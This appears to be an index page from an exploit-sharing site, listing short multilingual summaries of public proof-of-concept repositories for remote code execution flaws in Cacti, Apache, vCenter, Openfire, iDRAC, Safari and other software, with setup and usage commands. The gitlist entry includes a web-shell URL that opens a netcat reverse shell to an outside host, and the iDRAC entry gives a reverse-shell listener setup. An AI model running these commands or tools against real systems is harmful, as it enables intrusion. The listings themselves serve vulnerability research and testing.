CVE-2022-46169-Cacti-v1.2.22-RCE

CVE-2022-46169-Cacti-v1.2.22...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter 是一个 Bash 脚本，用于扫描 RaspAP 安装并测试特定漏洞 CVE-2022-39986。 root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / // // ,/// // / ///...

CVE-2026-51934

Buffer Overflow vulnerability in Shenzhen Jixiang Tengda Technology Co., Ltd. Tenda A18 v.15.13.07.09 allows a remote attacker to execute arbitrary code via the fromSetCmdlineRun function...

CVE-2021-21972

CVE-2021-21972 説明 vSphere Client（HTML5）には、vCenter Server プラグインにリモートコード実行の脆弱性があります。ポート443へのネットワークアクセスが可能な悪意のある攻撃者は、この問題を悪用して、vCenter Server をホストしている基盤オペレーティングシステム上で無制限の権限でコマンドを実行できます。これは、VMware vCenter Server（7.x で 7.0 U1c 未満、6.7 で 6.7 U3l 未満、6.5 で 6.5 U3n 未満）および VMware Cloud Foundation（4.x で 4.2...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 リモートコード実行の脆弱性 CVE-2016-5734 セットアップ root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 エクスプロイト root@kitploit: python3 cve-2016-5734.py -u root --pwd="root"...

cve-2021-42013.get

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.pyは、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を検出するためのPythonスクリプトです。CVE-2021-42013 を実際に試すための脆弱なDockerインスタンスも提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルは実行できません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリを追加しています。 httpd.conf...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するのに役立つ Python スクリプトです。CVE-2021-42013 を実際に試すための脆弱な Docker インスタンスが用意されています。 CGI-BIN が有効な場合は、パストラバーサルではなくリモートコード実行を実行できます。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています...

CVE-2023-32315

CVE-2023-32315 Openfire コンソールの認証バイパスと RCE プラグインの脆弱性 セットアップ root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt 使い方 root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt 手順 1...

CVE-2021-41773-L-

CVE-2021-41773 🐛 Apache HTTP Server 2.4.49 におけるパストラバーサルおよびファイル開示の脆弱性 Apache HTTP Server 2.4.49 のパス正規化に加えられた変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外部にあるファイルに URL をマッピングできる可能性があります。 これらのディレクトリ外のファイルが通常のデフォルト設定「require all...

CVE-2019-16662

CVE-2019-16662 rConfig 3.9.2 远程代码执行漏洞 CVE-2019-16662 的官方利用工具...

gitlist-RCE

gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2020-12078

CVE-2020-12078 Open-AudIT v3.3.1 リモートコード実行 CVE-2020-12078 の公式エクスプロイト...

cve-2018-1207

cve-2018-1207 利用 iDRAC 7 & 8 固件 2.52.52.52 描述 Dell EMC iDRAC7/iDRAC8 在 2.52.52.52 之前的版本中存在 CGI 注入漏洞，该漏洞可用于执行远程代码。远程未认证攻击者可能能够利用 CGI 变量来执行远程代码。 此代码应导致 iDRAC 服务以 root 用户身份打开一个反向 shell。 用法 启动本地监听器： nc -v -l -p localport nc -v -l -p 5500 运行漏洞利用程序： python ./cve-2018-1207.py remotehost remoteport...

CVE-2021-21974

CVE-2021-21974 PoC - VMware ESXi RCE エクスプロイト 説明 このリポジトリには、VMware ESXi の OpenSLP サービスにおけるリモートコード実行 RCE の脆弱性 CVE-2021-21974 の Proof of Concept PoC が含まれています。この脆弱性を悪用すると、認証されていない攻撃者が影響を受ける ESXi ホスト上で任意のコードを実行できる可能性があります。 CVE ID : CVE-2021-21974 影響 : リモートコード実行 RCE 深刻度 : 高 CVSS 8.8 影響を受ける製品 : VMware ES...

citrix_dir_traversal_rce

citrixdirtraversalrce Citrix Application Delivery Controller ADC（別名 NetScaler）および Gateway 10.5、11.1、12.0、12.1、13.0 において、ディレクトリトラバーサルが発見されました。 NSPPE が GET /vpn/index.html リクエストを受信すると、このリクエストを Apache に送信して処理させることになっています。しかし、GET /vpn/../vpns/ というリクエスト（サニタイズされていない）を行うことで、Apache はルートを GET /vpns/...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE 漏洞利用，可能已在 iOS 16.5.1/macOS 13.4.1 中修复 已验证该漏洞利用在 macOS 13.3.1 和 iOS 15.8.2 上有效。 描述 目前仅适用于 macOS 13.0.1 x8664，因为偏移量是硬编码的。 实现了 addrof/fakeobj 以及读写（r/w）原语 将 SecurityOrigin-muniversalAccess 修补为 1 通过 JIT 执行加载 stage1.bin 致谢 感谢 ENKI WhiteHat 提供原始 PoC 及详细分析文章 saelo 的 jscp...

WordPress DevKit Pro plugin <= 2.3.0 - Authenticated (Subscriber+) Arbitrary Theme Installation / Remote Code Execution via 'qqfile' Parameter vulnerability

Authenticated Subscriber+ Arbitrary Theme Installation / Remote Code Execution via 'qqfile' Parameter vulnerability discovered by Bao Le in WordPress Plugin DevKit Pro versions = 2.3.0...

git-vuln-finder

git-vuln-finder Finding potential software vulnerabilities from git commit messages. The output format is a JSON with the associated commit which could contain a fix regarding a software vulnerability. The search is based on a set of regular expressions against the commit messages only. If CVE ID...

HTB-Pterodactyl-RCE-CVE-2025-49132

Pterodactyl Panel Locale RCE CVE-2025-49132 — 教育用PoC -6f42c1 認可されたテストおよび防御学習専用です。 このリポジトリは、管理されたラボ環境（例: CTF/HTB形式）を対象としており、ターゲットを所有しているか、テストする明示的な書面による許可を得ている場合に限ります。 背景 このリポジトリには、v1.11.11より前のPterodactyl Panelバージョン に影響する実世界の脆弱性に対する教育用Python PoC（pterodactylrce.py）が含まれています。脆弱な構成では、認証されていない攻撃者が loca...

cve-2023-33476

CVE-2023-33476 ReadyMedia（MiniDLNA）1.1.15 至 1.3.2 版本存在缓冲区溢出漏洞。该漏洞是由于在处理使用分块传输编码的 HTTP 请求时验证逻辑不正确所致，导致后续代码使用了超出已分配缓冲区长度的攻击者控制的块（chunk）值，从而造成越界读/写。 根因分析 漏洞利用详情 NIST CVE 条目 漏洞利用 通过 tcache 投毒 + GOT 覆盖实现针对 x86-64 目标的 RCE 漏洞利用 通过 tcache 投毒 + RIP 覆盖实现针对 arm32 目标（Netgear RAX30）的 RCE 漏洞利用 模糊测试 为模糊测试调整过的源码...